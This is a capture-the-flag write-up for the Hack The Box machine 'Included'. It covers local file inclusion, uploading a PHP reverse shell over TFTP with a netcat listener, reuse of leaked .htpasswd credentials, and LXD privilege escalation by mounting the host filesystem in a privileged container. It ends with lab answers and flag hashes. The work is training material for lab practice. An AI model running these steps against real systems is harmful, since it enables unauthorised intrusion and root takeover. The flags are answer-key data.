> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/write-ups/htb-starting-point/included.md).
# Included (Tier 2)
## Description
* **Tier ****->** 2
* **Difficulty** **->** Very Easy
* **OS** **->** Linux
* **Tags ****->** PHP / Custom Applications / Protocols / Apache / TFTP / LXD / Reconnaissance\
/ Local File Inclusion / Clear Text Credentials / Arbitrary File Upload
***
* Then, to learn more about the service running on the open port, I did an exhaustive scan
nmap 10.129.156.215 -p80 -sVC -oN serv_scan.txt
***
* As I found an HTTP service running on port 80, I went to the browser to explore the content being deployed. I found a simple page for a business with nothing relevant. What caught my attention was that the URL was retrieving the file of the page with a query, and maybe this could be vulnerable to a Local File Inclusion attack
{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](/hacking-knowledge/networks-wip/protocols/http.md)
{% endhint %}
***
* So I tried to change the file name to the path of a file from the system, in this case, the well-known */etc/password* file, and noticed it let me see the content of this file, being, in fact, vulnerable to *Local File Inclusion,* as I thought. Also, checking the information from the file, I saw that a profile named *tftp* existed on the system*,* which is the default for the TFTP protocol, also giving me the route to the folder where its configuration files should be
{% hint style="success" %}
To learn more about Local File Inclusion and its exploitation, you can go [here](/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/local-file-inclusion-wip.md)
{% endhint %}
***
* So, to confirm the system was using this protocol, I did a scan on the UDP ports of the system, as this protocol usually works over UDP*,* and our previous scan didn't detect the service. With this, I found that the protocol was being used on its default port, UDP port 69
{% code overflow="wrap" lineNumbers="true" %}
```bash
nmap 10.129.156.215 -sU -oN UDP_scan.txt
```
{% endcode %}
***
* With that, I answered the first questions
> Answer: ***tftp***
***
> Answer: ***Local File Inclusion***
***
> Answer: ***/var/lib/tftpboot/***
***
* Knowing this, I tried connecting to the protocol and submitting a reverse shell script for *PHP,* as this protocol doesn't let me list shared files, just download them or upload them. As it didn't give us any error, we closed the connection, assuming the file was on the server
tftp 10.129.156.215
tftp> put PHPshell.php
tftp> quit
{% hint style="success" %}
To learn more about the TFTP protocol, you can go [here](/hacking-knowledge/networks-wip/protocols/ftp/tftp.md)
{% endhint %}
***
* Then, I set up a [*Netcat*](/hacking-knowledge/networks-wip/tools-and-utilities.md#netcat) listener to be aware of the connection and called the script from the previously found folder where TFTP was storing its files. After hitting the direction, I noticed the page kept loading, and I had successfully caught a shell from the target. Then, I sanitized the terminal to work more comfortably with it
{% code overflow="wrap" lineNumbers="true" %}
```bash
nc -nvlp 4444
```
{% endcode %}
***
* As I gained access as the user from the web server, I had to find a way to make lateral movement to another user on the system with less restricted actions. First, I went to explore the default folder for servers */var/www/html,* and, looking at the hidden files, found the *.htaccess* and *.htpasswd* files, which are related to the server configuration and usually store sensitive information
{% hint style="success" %}
To learn more about the abuse of exposed *.htaccess* or *.htpasswd* files, you can go [here](broken://pages/44AfV1HFHXP0ycJZPBPS)
{% endhint %}
***
* With this, I answered the next question
> Answer: ***.htpasswd***
***
* So, checking the content of the *.htpasswd* file, I found the credentials for the *mike* user were being leaked, and after trying to change to this user using them, I successfully logged in. Then, I went to its */home* folder, where I found a *user.txt* file, and reading it, retrieved the user flag
***
* I needed to find a way to escalate privileges, so I tried to check the `sudo` permissions for the user, but didn't have any. After checking some information like services running locally and special permissions on files, the only relevant thing I found was that the user was part of the *lxd* group. So, with a little [research](https://canonical.com/lxd), I understood the use of *lxd* as a tool for creating containers of operating systems. So, I checked if this tool was installed on the system, and it was
***
* With this, I answered the next question
> Answer: ***lxd***
***
* With this information, I searched for possible exploits of this tool and found an interesting [article](https://www.hackingarticles.in/lxd-privilege-escalation/) with a guide to do it. So, following the guide, I got an image for the *Alpine* operating system and mounted a server to pass it from our machine to the target host. Then, I downloaded it and checked that it was on the target
{% code overflow="wrap" lineNumbers="true" %}
```bash
# On our machine
wget https://github.com/saghul/lxd-alpine-builder/alpine-v3.13-x86_64-20210218_0139.tar.gz
python3 -m http.server 1234
#On the target machine
wget http://10.10.14.117:1234/alpine-v3.13-x86_64-20210218_0139.tar.gz
```
{% endcode %}
{% hint style="success" %}
To learn the complete process for privilege escalation by abusing *lxd,* you can go [here](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/privilege-escalation/linux-privilege-escalation.md#abusing-lxd)
{% endhint %}
***
* With this, I answered the next question
> Answer: ***Alpine***
***
* After this, I imported the image and created a container using it, specifying high privileges and mounting the filesystem of the target inside it. Then, I started the container to interact with it
{% code overflow="wrap" lineNumbers="true" %}
```bash
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
lxc init alpine pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path /mnt recursive=true
lxc start pwned
```
{% endcode %}
***
* With this, I answered the next question
> Answer: ***security.privileged=true***
***
* With all this created, I generated a shell from the container, now having access as the *root* user to the complete filesystem. Last, I went to the mount point in the */mnt/root* folder, where I found a *root.txt* file, and by reading its content, retrieved the root flag
{% code overflow="wrap" lineNumbers="true" %}
```bash
lxc exec pwned /bin/sh
```
{% endcode %}
***
* With this and the previously found user flag, I answered the last questions
> Answer: ***/mnt/root/***
***
> Answer: ***a56ef91d70cfbf2cdb8f454c006935a1***
***
* And finally, I got the root flag and pwned the machine
> Answer: ***c693d9c7499d9f572ee375d4c14c7bcf***
